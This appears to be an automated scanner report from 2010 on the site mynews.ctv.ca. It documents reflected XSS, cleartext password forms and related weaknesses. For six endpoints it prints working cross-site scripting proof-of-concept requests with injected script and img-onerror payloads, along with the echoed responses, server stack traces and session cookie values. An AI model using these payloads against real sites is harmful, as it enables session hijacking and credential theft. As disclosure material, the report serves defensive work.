> Report generated by XSS.CX at Sat Nov 20 14:25:06 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. Cross-site scripting (reflected)

1.1. http://mynews.ctv.ca/action/login [REST URL parameter 2]

1.2. http://mynews.ctv.ca/action/reglite [REST URL parameter 2]

1.3. http://mynews.ctv.ca/mediaAll [siteT parameter]

1.4. http://mynews.ctv.ca/services/json [method parameter]

1.5. http://mynews.ctv.ca/services/json [requests[0][methodName] parameter]

1.6. http://mynews.ctv.ca/upload [siteT parameter]

2. Cleartext submission of password

2.1. http://mynews.ctv.ca/login

2.2. http://mynews.ctv.ca/login

2.3. http://mynews.ctv.ca/upload

2.4. http://mynews.ctv.ca/upload

3. Password field with autocomplete enabled

3.1. http://mynews.ctv.ca/login

3.2. http://mynews.ctv.ca/login

3.3. http://mynews.ctv.ca/upload

3.4. http://mynews.ctv.ca/upload

4. Cross-domain Referer leakage

4.1. http://mynews.ctv.ca//servlet/HTMLTemplate/

4.2. http://mynews.ctv.ca/login

4.3. http://mynews.ctv.ca/mediaAll

4.4. http://mynews.ctv.ca/services/cssloader

4.5. http://mynews.ctv.ca/upload

4.6. http://mynews.ctv.ca/upload

5. Cross-domain script include

5.1. http://mynews.ctv.ca//servlet/HTMLTemplate/

5.2. http://mynews.ctv.ca/login

5.3. http://mynews.ctv.ca/mediaAll

5.4. http://mynews.ctv.ca/upload

5.5. http://mynews.ctv.ca/upload

6. Cookie without HttpOnly flag set

6.1. http://mynews.ctv.ca//servlet/HTMLTemplate/

6.2. http://mynews.ctv.ca/upload

7. Email addresses disclosed

7.1. http://mynews.ctv.ca/login

7.2. http://mynews.ctv.ca/mediaAll

7.3. http://mynews.ctv.ca/services/jslibrary

7.4. http://mynews.ctv.ca/services/jslibrary/1.1

7.5. http://mynews.ctv.ca/upload

8. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 6 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://mynews.ctv.ca/action/login [REST URL parameter 2]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /action/login

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 8b11d--><img%20src%3da%20onerror%3dalert(1)>782c1cd5b313a5727 was submitted in the REST URL parameter 2. This input was echoed as 8b11d--><img src=a onerror=alert(1)>782c1cd5b313a5727 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /action/login8b11d--><img%20src%3da%20onerror%3dalert(1)>782c1cd5b313a5727?email=%27%27&password=%27%27&siteT=toronto&redirecturl=%2Fupload%3FsiteT%3Dtoronto HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://mynews.ctv.ca/upload?siteT=toronto
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Mynews.%25253Actvnews%252520%25253A%252520affiliate%252520%25253A%252520toronto%252520%25253A%252520mynews%252520%25253A%252520login%252520or%252520register%2526pidt%253D1%2526oid%253DLogin%2526oidt%253D3%2526ot%253DSUBMIT%2526oi%253D351; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; SABRE_ID=ce335cd639139dcdc26634abb485da12; __utma=230519040.239715385.1290228663.1290228663.1290228663.1; __utmb=230519040.1.10.1290228663; __utmc=230519040; __utmz=230519040.1290228663.1.1.utmcsr=toronto.ctv.ca|utmccn=(referral)|utmcmd=referral|utmcct=/servlet/HTMLTemplate/

Response

HTTP/1.0 500 Internal Server Error
Date: Sat, 20 Nov 2010 04:54:55 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: close
Content-Length: 1824

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>FileM
...[SNIP]...
<!-- exception 'FileMobile_App_Exception' with message 'Action with name 'login8b11d--><img src=a onerror=alert(1)>782c1cd5b313a5727' was not found' in /home/filemobile/current_release/lib/FileMobile/App/Application.php:111
Stack trace:
#0 /home/filemobile/current_release/lib/FileMobile/App/Application.php(75): FileMobile_App_Appli
...[SNIP]...

1.2. http://mynews.ctv.ca/action/reglite [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /action/reglite

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload dac05--><img%20src%3da%20onerror%3dalert(1)>a98c5e4729441d95f was submitted in the REST URL parameter 2. This input was echoed as dac05--><img src=a onerror=alert(1)>a98c5e4729441d95f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /action/reglitedac05--><img%20src%3da%20onerror%3dalert(1)>a98c5e4729441d95f?fm_token=53c7b5b227a1e0a0bb42ca8bffb220db&meta%5BsiteT%5D=&redirectUrl=%2Fupload%3FsiteT%3D&user=rtfm@test.com&firstname=%27%27&lastname=%27%27&email=rtfm@test.com&password=123456&password2=123456&phone=5555551234&cellphone=5555551234&address1=Street&city=City&address2=Province&postalcode=Postal+Code HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://mynews.ctv.ca/login?msg=incorrectcredentials&redirecturl=%2Fupload%3FsiteT%3Dtoronto
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.10.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; SABRE_ID=ce335cd639139dcdc26634abb485da12; __utma=230519040.239715385.1290228663.1290228663.1290228663.1; __utmb=230519040.2.10.1290228663; __utmc=230519040; __utmz=230519040.1290228663.1.1.utmcsr=toronto.ctv.ca|utmccn=(referral)|utmcmd=referral|utmcct=/servlet/HTMLTemplate/

Response

HTTP/1.0 500 Internal Server Error
Date: Sat, 20 Nov 2010 04:57:10 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: close
Content-Length: 1826

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>FileM
...[SNIP]...
<!-- exception 'FileMobile_App_Exception' with message 'Action with name 'reglitedac05--><img src=a onerror=alert(1)>a98c5e4729441d95f' was not found' in /home/filemobile/current_release/lib/FileMobile/App/Application.php:111
Stack trace:
#0 /home/filemobile/current_release/lib/FileMobile/App/Application.php(75): FileMobile_App_Appli
...[SNIP]...

1.3. http://mynews.ctv.ca/mediaAll [siteT parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /mediaAll

Issue detail

The value of the siteT request parameter is copied into an HTML comment. The payload 6c29a--><script>alert(1)</script>0148ac2b310 was submitted in the siteT parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /mediaAll?siteT=6c29a--><script>alert(1)</script>0148ac2b310&q=%27%27%27%27&x=22&y=1 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://mynews.ctv.ca/upload?siteT=
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.11.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Mynews.%25253Actvnews%252520%25253A%252520mynews%252520%25253A%252520uploader%2526pidt%253D1%2526oid%253Dhttp%25253A//assets.filemobile.com/43/images/search_button.gif%2526ot%253DIMAGE%2526oi%253D431; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; SABRE_ID=32f819b6f25896ac34946b80bd07f6c9; __utma=230519040.239715385.1290228663.1290228663.1290228663.1; __utmb=230519040.3.10.1290228663; __utmc=230519040; __utmz=230519040.1290228663.1.1.utmcsr=toronto.ctv.ca|utmccn=(referral)|utmcmd=referral|utmcct=/servlet/HTMLTemplate/

Response

HTTP/1.0 404 Not Found
Date: Sat, 20 Nov 2010 04:57:16 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: close
Content-Length: 2175

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>FileM
...[SNIP]...
<!-- exception 'FileMobile_Templates_TemplateNotFoundException' with message 'Template with name: 6c29a--><script>alert(1)</script>0148ac2b310 not found!' in /home/filemobile/current_release/lib/FileMobile/Templates/AppTemplate.php:138
Stack trace:
#0 /home/filemobile/current_release/lib/FMComponent/Include.php(46): FileMobile_Templates_AppT
...[SNIP]...

1.4. http://mynews.ctv.ca/services/json [method parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /services/json

Issue detail

The value of the method request parameter is copied into the HTML document as plain text between tags. The payload 75fbf<img%20src%3da%20onerror%3dalert(1)>0d10db68c02e1409e was submitted in the method parameter. This input was echoed as 75fbf<img src=a onerror=alert(1)>0d10db68c02e1409e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /services/json?requests[0][methodName]=users.verifyUserEmail&requests[0][params][0]=43&requests[0][params][1]=undefined&requests[0][params][2]=rtfm%40test.com&method=system.multicall75fbf<img%20src%3da%20onerror%3dalert(1)>0d10db68c02e1409e HTTP/1.1
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-us
x-prototype-version: 1.6.0.2
Referer: http://mynews.ctv.ca/login?msg=incorrectcredentials&redirecturl=%2Fupload%3FsiteT%3Dtoronto
x-requested-with: XMLHttpRequest
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.10.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; SABRE_ID=ce335cd639139dcdc26634abb485da12; __utma=230519040.239715385.1290228663.1290228663.1290228663.1; __utmb=230519040.2.10.1290228663; __utmc=230519040; __utmz=230519040.1290228663.1.1.utmcsr=toronto.ctv.ca|utmccn=(referral)|utmcmd=referral|utmcct=/servlet/HTMLTemplate/

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:56:04 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: application/json
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 250

{"status":false,"result":"multicall75fbf<img src=a onerror=alert(1)>0d10db68c02e1409e does not exist","file":"\/home\/filemobile\/current_release\/lib\/Sabre\/ServiceMap\/Service.php","line":81,"exception":"Sabre_ServiceMap_UndefinedMethodException"}

1.5. http://mynews.ctv.ca/services/json [requests[0][methodName] parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /services/json

Issue detail

The value of the requests[0][methodName] request parameter is copied into the HTML document as plain text between tags. The payload a20d4<img%20src%3da%20onerror%3dalert(1)>00c28ea4103bd38a6 was submitted in the requests[0][methodName] parameter. This input was echoed as a20d4<img src=a onerror=alert(1)>00c28ea4103bd38a6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /services/json?requests[0][methodName]=users.verifyUserEmaila20d4<img%20src%3da%20onerror%3dalert(1)>00c28ea4103bd38a6&requests[0][params][0]=43&requests[0][params][1]=undefined&requests[0][params][2]=rtfm%40test.com&method=system.multicall HTTP/1.1
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-us
x-prototype-version: 1.6.0.2
Referer: http://mynews.ctv.ca/login?msg=incorrectcredentials&redirecturl=%2Fupload%3FsiteT%3Dtoronto
x-requested-with: XMLHttpRequest
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.10.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; SABRE_ID=ce335cd639139dcdc26634abb485da12; __utma=230519040.239715385.1290228663.1290228663.1290228663.1; __utmb=230519040.2.10.1290228663; __utmc=230519040; __utmz=230519040.1290228663.1.1.utmcsr=toronto.ctv.ca|utmccn=(referral)|utmcmd=referral|utmcct=/servlet/HTMLTemplate/

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:55:53 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: application/json
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 139

{"status":true,"result":[{"faultCode":0,"faultString":"verifyUserEmaila20d4<img src=a onerror=alert(1)>00c28ea4103bd38a6 does not exist"}]}

1.6. http://mynews.ctv.ca/upload [siteT parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /upload

Issue detail

The value of the siteT request parameter is copied into an HTML comment. The payload ad850--><script>alert(1)</script>b2efc62f348 was submitted in the siteT parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /upload?siteT=ad850--><script>alert(1)</script>b2efc62f348 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://mynews.ctv.ca/login?msg=incorrectcredentials&redirecturl=%2Fupload%3FsiteT%3Dtoronto
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.10.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; SABRE_ID=32f819b6f25896ac34946b80bd07f6c9; __utma=230519040.239715385.1290228663.1290228663.1290228663.1; __utmb=230519040.2.10.1290228663; __utmc=230519040; __utmz=230519040.1290228663.1.1.utmcsr=toronto.ctv.ca|utmccn=(referral)|utmcmd=referral|utmcct=/servlet/HTMLTemplate/

Response

HTTP/1.0 404 Not Found
Date: Sat, 20 Nov 2010 04:55:46 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: close
Content-Length: 2173

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>FileM
...[SNIP]...
<!-- exception 'FileMobile_Templates_TemplateNotFoundException' with message 'Template with name: ad850--><script>alert(1)</script>b2efc62f348 not found!' in /home/filemobile/current_release/lib/FileMobile/Templates/AppTemplate.php:138
Stack trace:
#0 /home/filemobile/current_release/lib/FMComponent/Include.php(46): FileMobile_Templates_AppT
...[SNIP]...

2. Cleartext submission of password  previous  next
There are 4 instances of this issue:

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.


2.1. http://mynews.ctv.ca/login  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /login

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password fields:

Request

GET /login?msg=incorrectcredentials&redirecturl=%2Fupload%3FsiteT%3Dtoronto HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://mynews.ctv.ca/upload?siteT=toronto
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Mynews.%25253Actvnews%252520%25253A%252520affiliate%252520%25253A%252520toronto%252520%25253A%252520mynews%252520%25253A%252520login%252520or%252520register%2526pidt%253D1%2526oid%253DLogin%2526oidt%253D3%2526ot%253DSUBMIT%2526oi%253D351; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; SABRE_ID=ce335cd639139dcdc26634abb485da12; __utma=230519040.239715385.1290228663.1290228663.1290228663.1; __utmb=230519040.1.10.1290228663; __utmc=230519040; __utmz=230519040.1290228663.1.1.utmcsr=toronto.ctv.ca|utmccn=(referral)|utmcmd=referral|utmcct=/servlet/HTMLTemplate/

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:53:09 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 28872

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<met
...[SNIP]...
</script>

<form action="/action/reglite" id="2adb3b3e9e" onsubmit="return validator.submit(this);" method="post" >
<input type="hidden" style="display:none" name="fm_token" value="53c7b5b227a1e0a0bb42ca8bffb220db" />
...[SNIP]...
<div style="margin-left: 10px; margin-top: 10px"><input type="password" class="fmTextInput fmPassword fmPasswordField required" id="fmSignUpPassword" name="password" /></div>
...[SNIP]...
<div style="margin-left: 10px"><input type="password" class="fmTextInput fmPasswordConfirm fmPasswordCheckField" id="fmSignUpPassword2" name="password2" /></div>
...[SNIP]...

2.2. http://mynews.ctv.ca/login  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /login

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

GET /login?msg=incorrectcredentials&redirecturl=%2Fupload%3FsiteT%3Dtoronto HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://mynews.ctv.ca/upload?siteT=toronto
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Mynews.%25253Actvnews%252520%25253A%252520affiliate%252520%25253A%252520toronto%252520%25253A%252520mynews%252520%25253A%252520login%252520or%252520register%2526pidt%253D1%2526oid%253DLogin%2526oidt%253D3%2526ot%253DSUBMIT%2526oi%253D351; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; SABRE_ID=ce335cd639139dcdc26634abb485da12; __utma=230519040.239715385.1290228663.1290228663.1290228663.1; __utmb=230519040.1.10.1290228663; __utmc=230519040; __utmz=230519040.1290228663.1.1.utmcsr=toronto.ctv.ca|utmccn=(referral)|utmcmd=referral|utmcct=/servlet/HTMLTemplate/

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:53:09 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
